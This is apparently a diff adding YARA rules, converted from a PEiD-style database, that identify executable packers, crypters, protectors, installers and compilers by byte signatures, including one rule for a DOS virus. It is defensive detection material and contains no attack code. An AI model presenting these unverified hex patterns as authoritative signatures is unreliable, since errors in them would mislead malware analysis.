+rule _NTkrnl_Secure_Suite__NTkrnl_team_h_
+{
+	meta:
+		description = "NTkrnl Secure Suite -> NTkrnl team (h)"
+	strings:
+		$0 = {34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73}
+		$1 = {34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 41 10 00 00 50 10 00 00 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 79}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Nullsoft_Install_System_v20a0_
+{
+	meta:
+		description = "Nullsoft Install System v2.0a0"
+	strings:
+		$0 = {83 EC 0C 53 56 57 FF 15 B4 10 40 00 05 E8 03 00 00 BE E0 E3 41 00 89 44 24 10 B3 20 FF 15 28 10 40 00 68 00 04 00 00 FF 15 14 11 40 00 50 56 FF 15 10 11 40 00 80 3D E0 E3 41 00 22 75 08 80 C3 02 BE E1 E3 41 00 8A 06 8B 3D 14 12 40 00 84 C0 74 19 3A C3 74 0B 56 FF D7 8B F0 8A 06 84 C0 75 F1 80 3E 00}
+	condition:
+		$0
+}
+rule _PEX_v099_
+{
+	meta:
+		description = "PEX v0.99"
+	strings:
+		$0 = {60 E8 01 ?? ?? ?? ?? 83 C4 04 E8 01 ?? ?? ?? ?? 5D 81}
+	condition:
+		$0 at entrypoint
+}
+rule _Special_EXE_Pasword_Protector_101_Eng__Pavol_Cerven_
+{
+	meta:
+		description = "Special EXE Pasword Protector 1.01 (Eng) -> Pavol Cerven"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 89 AD 8C 01 00 00 8B C5 2B 85 FE 75 00 00 89 85 3E 77 00 00 8D 95 C6 77 00 00 8D 8D FF 77 00 00 55 68 00 20 00 00 51 52 6A 00 FF 95 04 7A 00 00 5D 6A 00 FF 95 FC 79 00 00 8D 8D 60 78 00 00 8D 95 85 01 00 00 55 68 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_Personal_Packer_PPP_103__ConquestOfTroycom_
+{
+	meta:
+		description = "Private Personal Packer (PPP) 1.0.3 -> ConquestOfTroy.com"
+	strings:
+		$0 = {E8 19 00 00 00 90 90 E8 68 00 00 00 FF 35 2C 37 00 10 E8 ED 01 00 00 6A 00 E8 2E 04 00 00 E8 41 04 00 00 A3 74 37 00 10 6A 64 E8 5F 04 00 00 E8 30 04 00 00 A3 78 37 00 10 6A 64 E8 4E 04 00 00 E8 1F 04 00 00 A3 7C 37 00 10 A1 74 37 00 10 8B 1D 78 37 00 10 2B D8 8B 0D 7C 37 00 10 2B C8 83 FB 64 73 0F 81 F9 C8 00 00 00 73 07 6A 00 E8 D9 03 00 00 C3 6A 0A 6A 07 6A 00 E8 D3 03 00 00 A3 20 37 00 10 50 6A 00 E8 DE 03 00 00 A3 24 37 00 10 FF 35 20 37 00 10 6A 00 E8 EA 03 00 00 A3 30 37 00 10 FF 35 24 37 00 10 E8 C2 03 00 00 A3 28 37 00 10 8B 0D 30 37 00 10 8B 3D 28 37 00 10 EB 09 49 C0 04 39 55 80 34 39 24 0B C9}
+	condition:
+		$0 at entrypoint
+}
+rule _PELOCKnt_204_
+{
+	meta:
+		description = "PELOCKnt 2.04"
+	strings:
+		$0 = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60}
+	condition:
+		$0 at entrypoint
+}
+rule _nMacro_recorder_10_
+{
+	meta:
+		description = "nMacro recorder 1.0"
+	strings:
+		$0 = {5C 6E 6D 72 5F 74 65 6D 70 2E 6E 6D 72 00 00 00 72 62 00 00 58 C7 41 00 10 F8 41 00 11 01 00 00 00 00 00 00 46 E1 00 00 46 E1 00 00 35 00 00 00 F6 88 41 00}
+	condition:
+		$0
+}
+rule _Patch_Creation_Wizard_v12_Seek_and_Destroy_Patch_
+{
+	meta:
+		description = "Patch Creation Wizard v1.2 Seek and Destroy Patch"
+	strings:
+		$0 = {E8 C5 05 00 00 6A 00 E8 5E 05 00 00 A3 CE 39 40 00 6A 00 68 29 10 40 00 6A 00 6A 01 50 E8 72 05 00 00 6A 00 E8 2F 05 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C1 00 00 00 6A 01 FF 35 CE 39 40 00 E8 61 05 00 00 50 6A 01 68 80 00 00 00 FF 75 08 E8 63 05 00 00 68 5F 30 40 00 6A 65 FF 75 08 E8 5A 05 00 00 68 B0 30 40 00 6A 67 FF 75 08 E8 4B 05 00 00 68 01 31 40 00 6A 66 FF 75 08 E8 3C 05 00 00 6A 00 FF 75 08 E8 0E 05 00 00 A3 CA 39 40 00 C7 05 D2 39 40 00 2C 00 00 00 C7 05 D6 39 40 00 10 00 00 00 C7 05 DA 39 40 00 00 08 00 00 68 D2 39 40 00 6A 01 6A FF FF 35 CA 39 40 00 E8 DD 04 00 00 C7 05 DA 39 40 00 00 00 00 00 C7 05 F6 39 40 00 00 30 40 00 C7 05 FA 39 40 00 01 00 00 00 68 D2 39 40 00 6A 01 6A FF FF 35 CA 39 40 00 E8 AB 04 00 00 EB 5F EB 54}
+	condition:
+		$0
+}
+rule _RSCs_Process_Patcher_v151_
+{
+	meta:
+		description = "R!SC's Process Patcher v1.5.1"
+	strings:
+		$0 = {68 00 20 40 00 E8 C3 01 00 00 80 38 00 74 0D 66 81 78 FE 22 20 75 02 EB 03 40 EB EE 8B F8 B8 04 60 40 00 68 C4 20 40 00 68 D4 20 40 00 6A 00 6A 00 6A 04 6A 00 6A 00 6A 00 57 50 E8 9F 01 00 00 85 C0 0F 84 39 01 00 00 BE 00 60 40 00 8B 06 A3 28 21 40 00 83 C6 40 83 7E FC 00 0F 84 8F 00 00 00 8B 3E 83 C6 04 85 FF 0F 84 E5 00 00 00 81 FF 72 21 73 63 74 7A 0F B7 1E 8B CF 8D 7E 02 C7 05 24 21 40 00 00 00 00 00 83 05 24 21 40 00 01 50 A1 28 21 40 00 39 05 24 21 40 00 58 0F 84 D8 00 00 00 60 6A 00 53 68 2C 21 40 00 51 FF 35 C4 20 40 00 E8 0A 01 00 00 61 60 FC BE 2C 21 40 00 8B CB F3 A6 61 75 C2 03 FB 60 E8 3E 00 00 00 6A 00 53 57 51 FF 35 C4 20 40 00 E8 FB 00 00 00 85 C0 0F 84 A2 00 00 00 61 03 FB 8B F7 E9 71 FF FF FF 60 FF 35 C8 20 40 00 E8 CB 00 00 00 61 C7 05}
+	condition:
+		$0
+}
+rule _iPB_Protect_013__017__forgot_
+{
+	meta:
+		description = "iPB Protect 0.1.3 - 0.1.7 -> forgot"
+	strings:
+		$0 = {55 8B EC 6A FF 68 4B 43 55 46 68 54 49 48 53 64 A1 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _y0das_Crypter_v10_
+{
+	meta:
+		description = "y0da's Crypter v1.0"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED E7 1A 40 00 E8 A1 00 00 00 E8 D1 00 00 00 E8 85 01 00 00 F7 85}
+	condition:
+		$0 at entrypoint
+}
+rule _Trainer_Creation_Kit_v5_Trainer_
+{
+	meta:
+		description = "Trainer Creation Kit v5 Trainer"
+	strings:
+		$0 = {6A 00 68 80 00 00 00 6A 02 6A 00 6A 00 68 00 00 00 40 68 25 45 40 00 E8 3C 02 00 00 50 6A 00 68 40 45 40 00 68 00 10 00 00 68 00 30 40 00 50 E8 54 02 00 00 58 50 E8 17 02 00 00 6A 00 E8 2E 02 00 00 A3 70 45 40 00 68 25 45 40 00 E8 2B 02 00 00 A3 30 45 40 00 68 34 45 40 00 50 E8 15 02 00 00 6A 00 FF 35 30 45 40 00 50 6A 02 E8 4D 02 00 00 A3 74 45 40 00 6A 00 68 D4 10 40 00 6A 00 6A 01 FF 35 70 45 40 00 E8 02 02 00 00 B3 0A FE CB 74 10 FF 35 74 45 40 00 E8 27 02 00 00 83 F8 00 74 EC B3 0A FE CB 74 10 FF 35 30 45 40 00 E8 B7 01 00 00 83 F8 00 74 EC B3 0A FE CB 74 16 68 25 45 40 00 E8 96 01 00 00 83 F8 00 74 ED 6A 00 E8 90 01 00 00 55 8B EC 56 51 57 8B 45 0C 98 3D 10 01 00 00 0F 85 C7 00 00 00 6A 01 FF 35 70 45 40 00 E8 B0 01 00 00 50 6A 01 68 80 00 00 00 FF}
+	condition:
+		$0
+}
+rule _FSG_110_Eng__dulekxt__Borland_Delphi__Borland_Cpp_
+{
+	meta:
+		description = "FSG 1.10 (Eng) -> dulek/xt -> (Borland Delphi / Borland C++)"
+	strings:
+		$0 = {2B C2 E8 02 00 00 00 95 4A 59 8D 3D 52 F1 2A E8 C1 C8 1C BE 2E ?? ?? 18 EB 02 AB A0 03 F7 EB 02 CD 20 68 F4 00 00 00 0B C7 5B 03 CB 8A 06 8A 16 E8 02 00 00 00 8D 46 59 EB 01 A4 02 D3 EB 02 CD 20 02 D3 E8 02 00 00 00 57 AB 58 81 C2 AA 87 AC B9 0F BE C9 80}
+	condition:
+		$0 at entrypoint
+}
+rule _RCryptor_V16d__Vaska__Sign_by_fly_
+{
+	meta:
+		description = "RCryptor V1.6d -> Vaska ! Sign by fly"
+	strings:
+		$0 = {60 90 61 61 80 7F F0 45 90 60 0F 85 1B 8B 1F FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3 B8 ?? ?? ?? ?? 90 3D ?? ?? ?? ?? 74 06 80 30 ?? 40 EB F3}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v302_v302a_v304_Relocations_pack_
+{
+	meta:
+		description = "WWPACK v3.02, v3.02a, v3.04 (Relocations pack)"
+	strings:
+		$0 = {BE ?? ?? BF ?? ?? B9 ?? ?? 8C CD 81 ED ?? ?? 8B DD 81 EB ?? ?? 8B D3 FC FA 1E 8E DB 01 15 33 C0 2E AC}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_120_Eng__dulekxt__Borland_Delphi__Microsoft_Visual_Cpp_
+{
+	meta:
+		description = "FSG 1.20 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)"
+	strings:
+		$0 = {0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01}
+	condition:
+		$0
+}
+rule _Exe_Locker_10__IonIce_
+{
+	meta:
+		description = "Exe Locker 1.0 -> IonIce"
+	strings:
+		$0 = {E8 00 00 00 00 60 8B 6C 24 20 81 ED 05 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _MZ_Crypt_10__by_BrainSt0rm_
+{
+	meta:
+		description = "MZ_Crypt 1.0 - by BrainSt0rm"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 25 14 40 00 8B BD 77 14 40 00 8B 8D 7F 14 40 00 EB 28 83 7F 1C 07 75 1E 8B 77 0C 03 B5 7B 14 40 00 33 C0 EB 0C 50 8A A5 83 14 40 00 30 26 58 40 46 3B 47 10 76 EF 83 C7 28 49 0B C9 75 D4 8B 85 73 14 40 00 89 44 24 1C 61 FF E0}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_1334__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium 1.3.3.4 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 29 00 00 00 EB 03 ?? ?? ?? EB 02 ?? ?? 8B 54 24 0C EB 03 ?? ?? ?? 83 82 B8 00 00 00 25 EB 02 ?? ?? 33 C0 EB 02 ?? ?? C3 EB 03 ?? ?? ?? EB 01 ?? 64 67 FF 36 00 00 EB 02 ?? ?? 64 67 89 26 00 00 EB 02 ?? ?? EB 04 ?? ?? ?? ?? 50 EB 02 ?? ?? 33 C0 EB 01 ?? 8B 00 EB 04 ?? ?? ?? ?? C3 EB 03 ?? ?? ?? E9 FA 00 00 00 EB 02 ?? ?? E8 D5 FF FF FF EB 02 ?? ?? EB 03 ?? ?? ?? 58 EB 02 ?? ?? EB 03 ?? ?? ?? 64 67 8F 06 00 00 EB 03}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Igor_
+{
+	meta:
+		description = "Vx: Igor"
+	strings:
+		$0 = {1E B8 CD 7B CD 21 81 FB CD 7B 75 03 E9 87 00 33 DB 0E 1F 8C}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_120_Eng__dulekxt__Microsoft_Visual_Cpp_60_
+{
+	meta:
+		description = "FSG 1.20 (Eng) -> dulek/xt -> (Microsoft Visual C++ 6.0)"
+	strings:
+		$0 = {C1 E0 06 EB 02 CD 20 EB 01 27 EB 01 24 BE 80 ?? 42 00 49 EB 01 99 8D 1D F4 00 00 00 EB 01 5C F7 D8 1B CA EB 01 31 8A 16 80 E9 41 EB 01 C2 C1 E0 0A EB 01 A1 81 EA A8 8C 18 A1 34 46 E8 01 00 00 00 62 59 32 D3 C1 C9 02 EB 01 68 80 F2 1A 0F BE C9 F7 D1 2A D3}
+	condition:
+		$0
+}
+rule _Crinkler_V01V02__Rune_LHStubbe_and_Aske_Simon_Christensen_
+{
+	meta:
+		description = "Crinkler V0.1-V0.2 -> Rune L.H.Stubbe and Aske Simon Christensen"
+	strings:
+		$0 = {B9 ?? ?? ?? ?? 01 C0 68 ?? ?? ?? ?? 6A 00 58 50 6A 00 5F 48 5D BB 03 00 00 00 BE ?? ?? ?? ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _XPack_167_com_
+{
+	meta:
+		description = "XPack 1.67 [com"
+	strings:
+		$0 = {E9 53 00 FF FD FF FB FF F9 FF BC 03 00 8B E5 4C 4C C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Pe123_200644_
+{
+	meta:
+		description = "Pe123 2006.4.4"
+	strings:
+		$0 = {8B C0 EB 01 34 60 EB 01 2A 9C EB 02 EA C8 E8 0F 00 00 00 EB 03 3D 23 23 EB 01 4A EB 01 5B C3 8D 40 00 53 EB 01 6C EB 01 7E EB 01 8F E8 15 01 00 00 50 E8 67 04 00 00 EB 01 9A 8B D8 FF D3 5B C3 8B C0 E8 00 00 00 00 58 83 C0 05 C3 8B C0 55 8B EC 60 8B 4D 10}
+	condition:
+		$0
+}
+rule _Mew_501__NorthFox__HCC_
+{
+	meta:
+		description = "Mew 5.0.1 -> NorthFox / HCC"
+	strings:
+		$0 = {BE 5B 00 40 00 AD 91 AD 93 53 AD 96 56 5F AC C0 C0 ?? 04 ?? C0 C8 ?? AA E2 F4 C3 00 ?? ?? 00 ?? ?? ?? 00 00 10 40 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D 45 57 20 30 2E 31 20 62 79 20 4E 6F 72 74 68 66 6F 78 00 4D}
+	condition:
+		$0 at entrypoint
+}
+rule _yodas_Protector_V1032__Ashkbiz_Danehkar__Sign_by_fly_
+{
+	meta:
+		description = "yoda's Protector V1.03.2 -> Ashkbiz Danehkar ! Sign by fly"
+	strings:
+		$0 = {E8 03 00 00 00 EB 01 ?? BB 55 00 00 00 E8 03 00 00 00 EB 01 ?? E8 8F 00 00 00 E8 03 00 00 00 EB 01 ?? E8 82 00 00 00 E8 03 00 00 00 EB 01 ?? E8 B8 00 00 00 E8 03 00 00 00 EB 01 ?? E8 AB 00 00 00 E8 03 00 00 00 EB 01 ?? 83 FB 55 E8 03 00 00 00 EB 01 ?? 75 2E E8 03 00 00 00 EB 01 ?? C3 60 E8 00 00 00 00 5D 81 ED 94 73 42 00 8B D5 81 C2 E3 73 42 00 52 E8 01 00 00 00 C3 C3 E8 03 00 00 00 EB 01 ?? E8 0E 00 00 00 E8 D1 FF FF FF C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 CC C3 E8 03 00 00 00 EB 01 ?? 33 C0 64 FF 30 64 89 20 4B CC C3 E8 03 00 00 00 EB 01 ?? 33 DB B9 BF A4 42 00 81 E9 8E 74 42 00 8B D5 81 C2 8E 74 42 00 8D 3A 8B F7 33 C0 E8 03 00 00 00 EB 01 ?? E8 17 00 00 00 90 90 90 E9 63 29 00 00 33 C0 64 FF 30 64 89 20 43 CC C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_v_after_v14_
+{
+	meta:
+		description = "Petite v?.? (after v1.4)"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? 66 9C 60 50 8D ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 83}
+	condition:
+		$0 at entrypoint
+}
+rule _AZProtect_
+{
+	meta:
+		description = "AZProtect"
+	strings:
+		$0 = {EB 70 FC 60 8C 80 4D 11 00 70 25 81 00 40 0D 91 BB 60 8C 80 4D 11 00 70 21 81 1D 61 0D 81 00 40 CE 60 8C 80 4D 11 00 70 25 81 25 81 25 81 25 81 29 61 41 81 31 61 1D 61 00 40 B7 30}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_C_Library_1985_
+{
+	meta:
+		description = "Microsoft C Library 1985"
+	strings:
+		$0 = {BF ?? ?? 8B 36 ?? ?? 2B F7 81 FE ?? ?? 72 ?? BE ?? ?? FA 8E D7 81 C4 ?? ?? FB 73}
+	condition:
+		$0 at entrypoint
+}
+rule _KByS_V028_DLL__shoooo__Sign_by_fly_
+{
+	meta:
+		description = "KByS V0.28 DLL -> shoooo ! Sign by fly"
+	strings:
+		$0 = {B8 ?? ?? ?? ?? BA ?? ?? ?? ?? 03 C2 FF E0 ?? ?? ?? ?? 60 E8 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Private_exe_Protector_V18XV19X__SetiSoft_Team_
+{
+	meta:
+		description = "Private exe Protector V1.8X-V1.9X -> SetiSoft Team"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 ?? ?? ?? ?? 00 00 00 00 00 00 45 78 69 74 50 72 6F 63 65 73 73}
+	condition:
+		$0
+}
+rule _Symantec_Visual_Cafe_v30_
+{
+	meta:
+		description = "Symantec Visual Cafe v3.0"
+	strings:
+		$0 = {64 8B 05 ?? ?? ?? ?? 55 8B EC 6A FF 68 ?? ?? 40 ?? 68 ?? ?? 40 ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 08 50 53 56 57 89 65 E8 C7 45 FC}
+	condition:
+		$0 at entrypoint
+}
+rule _UPack_Alt_Stub__Dwing_
+{
+	meta:
+		description = "UPack Alt Stub -> Dwing"
+	strings:
+		$0 = {60 E8 09 00 00 00 C3 F6 00 00 E9 06 02 00 00 33 C9 5E 87 0E E3 F4 2B F1 8B DE AD 2B D8 AD}
+	condition:
+		$0 at entrypoint
+}
+rule _PassLock_2000_v10_Eng__MoonlightSoftware_
+{
+	meta:
+		description = "PassLock 2000 v1.0 (Eng) -> Moonlight-Software"
+	strings:
+		$0 = {55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01}
+		$1 = {55 8B EC 53 56 57 BB 00 50 40 00 66 2E F7 05 34 20 40 00 04 00 0F 85 98 00 00 00 E8 1F 01 00 00 C7 43 60 01 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 83 EC 44 C7 04 24 44 00 00 00 C7 44 24 2C 00 00 00 00 54 FF 15 E8 61 40 00 B8 0A 00 00 00 F7 44 24 2C 01 00 00 00 74 05 0F B7 44 24 30 83 C4 44 89 43 56 FF 15 D0 61 40 00 E8 9E 00 00 00 89 43 4C FF 15 D4 61 40 00 89 43 48 6A 00 FF 15 E4 61 40 00 89 43 5C E8 F9 00 00 00 E8 AA 00 00 00 B8 FF 00 00 00 72 0D 53 E8 96 00 00 00 5B FF 4B 10 FF 4B 18 5F 5E 5B 5D 50 FF 15 C8 61 40 00 C3 83 7D 0C 01 75 3F E8 81 00 00 00 8D 83 E4 01 00 00 50 FF 15 F0 61 40 00 FF 15 D0 61 40 00 E8 3A 00 00 00 89 43 4C FF 15 D4 61 40 00 89 43 48 8B 45 08 89 43 5C E8 9A 00 00 00 E8 4B 00 00 00 72 11 66 FF 43 5A 8B 45 0C 89 43 60 53}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Crypter_31__SLESH_
+{
+	meta:
+		description = "Crypter 3.1 -> SLESH"
+	strings:
+		$0 = {68 FF 64 24 F0 68 58 58 58 58 FF D4 50 8B 40 F2 05 B0 95 F6 95 0F 85 01 81 BB FF 68}
+	condition:
+		$0 at entrypoint
+}
+rule _KGB_SFX_
+{
+	meta:
+		description = "KGB SFX"
+	strings:
+		$0 = {60 BE 00 A0 46 00 8D BE 00 70 F9 FF 57 83 CD FF EB 10 90 90 90 90 90 90 8A 06 46 88 07 47 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 ED B8 01 00 00 00 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 73}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_V34V35__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.4-V3.5 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? ?? ?? 80 38 01 0F 84}
+	condition:
+		$0 at entrypoint
+}
+rule _Ding_Boys_PElock_Phantasm_v15b3_
+{
+	meta:
+		description = "Ding Boy's PE-lock Phantasm v1.5b3"
+	strings:
+		$0 = {9C 55 57 56 52 51 53 9C FA E8 00 00 00 00 5D 81 ED 5B 53 40 00 B0}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_14__c199899_Ian_Luck_
+{
+	meta:
+		description = "Petite 1.4 -> (c)1998-99 Ian Luck"
+	strings:
+		$0 = {66 9C 60 50 8B D8 03 00 68 54 BC 00 00 6A 00 FF 50 14 8B CC 8D A0 54 BC 00 00 50 8B C3 8D 90 ?? 16 00 00 68 00 00 ?? ?? 51 50 80 04 24 08 50 80 04 24 42 50 80 04 24 61 50 80 04 24 9D 50 80 04 24 BB 83 3A 00 0F 84 D8 14 00 00 8B 44 24 18 F6}
+	condition:
+		$0 at entrypoint
+}
+rule _Excalibur_103__forgot_
+{
+	meta:
+		description = "Excalibur 1.03 -> forgot"
+	strings:
+		$0 = {E9 00 00 00 00 60 E8 14 00 00 00 5D 81 ED 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Hyings_PEArmor_076__Hying_CCG_
+{
+	meta:
+		description = "Hying's PE-Armor 0.76 -> Hying [CCG"
+	strings:
+		$0 = {01 00 ?? ?? 00 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 56 69 72 74 75 61 6C 46 72 65 65 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 61 ?? ?? ?? 59 ?? ?? ?? ?? 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 8D ?? ?? ?? ?? 00 00 00 00 00 00 00 9D ?? ?? ?? 8D ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 45 52 4E 45 4C 33 32 2E 64 6C 6C 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 00 00 08 00 00 00 00 00 00 00 60 E8 00 00 00 00 5D 81 ED F0 00 00 00 8D B5 07 01 00 00 55 56 81 C5 ?? ?? ?? ?? 55 C3}
+	condition:
+		$0
+}
+rule _Sentinel_SuperPro_Automatic_Protection_641__Safenet_
+{
+	meta:
+		description = "Sentinel SuperPro (Automatic Protection) 6.4.1 -> Safenet"
+	strings:
+		$0 = {A1 ?? ?? ?? ?? 55 8B ?? ?? ?? 85 C0 74 ?? 85 ED 75 ?? A1 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 55 51 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 15 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 6A 00 6A 00 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 01 00 00 00 5D C2 0C 00}
+	condition:
+		$0
+}
+rule _eXPressorProtection_V150X__CGSoftLabs__Sign_by_fly_
+{
+	meta:
+		description = "eXPressor.Protection V1.5.0.X -> CGSoftLabs ! Sign by fly"
+	strings:
+		$0 = {EB 01 68 EB 01 ?? ?? ?? ?? 83 EC 0C 53 56 57 EB 01 ?? 83 3D ?? ?? ?? ?? 00 74 08 EB 01 E9 E9 56 01 00 00 EB 02 E8 E9 C7 05 ?? ?? ?? ?? 01 00 00 00 EB 01 C2 E8 E2 05 00 00 EB 02 DA 9F 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D0 59 59 EB 01 C8 EB 02 66 F0 68 ?? ?? ?? ?? E8 0E 05 00 00 59 EB 01 DD 83 65 F4 00 EB 07 8B 45 F4 40 89 45 F4 83 7D F4 61 73 1F EB 02 DA 1A 8B 45 F4 0F ?? ?? ?? ?? ?? ?? 33 45 F4 8B 4D F4 88 ?? ?? ?? ?? ?? EB 01 EB EB}
+	condition:
+		$0
+}
+rule _Guardant_Stealth_aka_Novex_Dongle_
+{
+	meta:
+		description = "Guardant Stealth aka Novex Dongle"
+	strings:
+		$0 = {55 8B EC 83 C4 F0 60 E8 51 FF FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_v120_Eng__dulekxt__Borland_Cpp_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (Borland C++)"
+	strings:
+		$0 = {C1 F0 07 EB 02 CD 20 BE 80 ?? ?? 00 1B C6 8D 1D F4 00 00 00 0F B6 06 EB 02 CD 20 8A 16 0F B6 C3 E8 01 00 00 00 DC 59 80 EA 37 EB 02 CD 20 2A D3 EB 02 CD 20 80 EA 73 1B CF 32 D3 C1 C8 0E 80 EA 23 0F B6 C9 02 D3 EB 01 B5 02 D3 EB 02 DB 5B 81 C2 F6 56 7B F6 EB 02 56 7B 2A D3 E8 01 00 00 00 ED 58 88 16 13 C3 46 EB 02 CD 20 4B EB 02 CD 20 2B C9 3B D9 75 A1 E8 02 00 00 00 D7 6B 58 EB 00 9E 96 6A 28 67 AB 69 54 03 3E 7F ?? ?? ?? 31 0D 63 44 35 38 37 18 87 9F 10 8C 37 C6 41 80 4C 5E 8B DB 60 4C 3A 28 08 30 BF 93 05 D1 58 13 2D B8 86 AE C8 58 16 A6 95 C5 94 03 33 6F FF 92 20 98 87 9C E5 B9 20 B5 68 DE 16 4A 15 C1 7F 72 71 65 3E A9 85 20 AF 5A 59 54 26 66 E9 3F 27 DE 8E 7D 34 53 61 F7 AF 09 29 5C F7 36 83 60 5F 52 92 5C D0 56 55 C9 61 7A FD EF 7E E8 70 F8 6E 7B EF}
+	condition:
+		$0 at entrypoint
+}
+rule _Free_Pascal_v1010_win32_console_
+{
+	meta:
+		description = "Free Pascal v1.0.10 (win32 console)"
+	strings:
+		$0 = {C6 05 ?? ?? ?? 00 01 E8 ?? ?? 00 00 C6 05 ?? ?? ?? 00 00 E8 ?? ?? 00 00 50 E8 00 00 00 00 FF 25 ?? ?? ?? 00 55 89 E5 ?? EC}
+	condition:
+		$0
+}
+rule _ASProtect_v__If_you_know_this_version_post_on_PEiD_board_
+{
+	meta:
+		description = "ASProtect v?.? -> If you know this version, post on PEiD board"
+	strings:
+		$0 = {90 60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? 00 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 DD 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _DOS32_v33_DOSExtender_and_Loader_
+{
+	meta:
+		description = "DOS32 v.3.3 DOS-Extender and Loader"
+	strings:
+		$0 = {0E 1F FC 9C 5B 8B C3 80 F4 ?? 50 9D 9C 58 3A E7 75 ?? BA ?? ?? B4 09 CD 21 B4 4C CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Erdas_LANGIS_Image_graphics_format_
+{
+	meta:
+		description = "Erdas LAN/GIS Image graphics format"
+	strings:
+		$0 = {48 45 41 44 37 34 00 00 03 00}
+	condition:
+		$0
+}
+rule _PseudoSigner_02_REALBasic_
+{
+	meta:
+		description = "PseudoSigner 0.2 [REALBasic]"
+	strings:
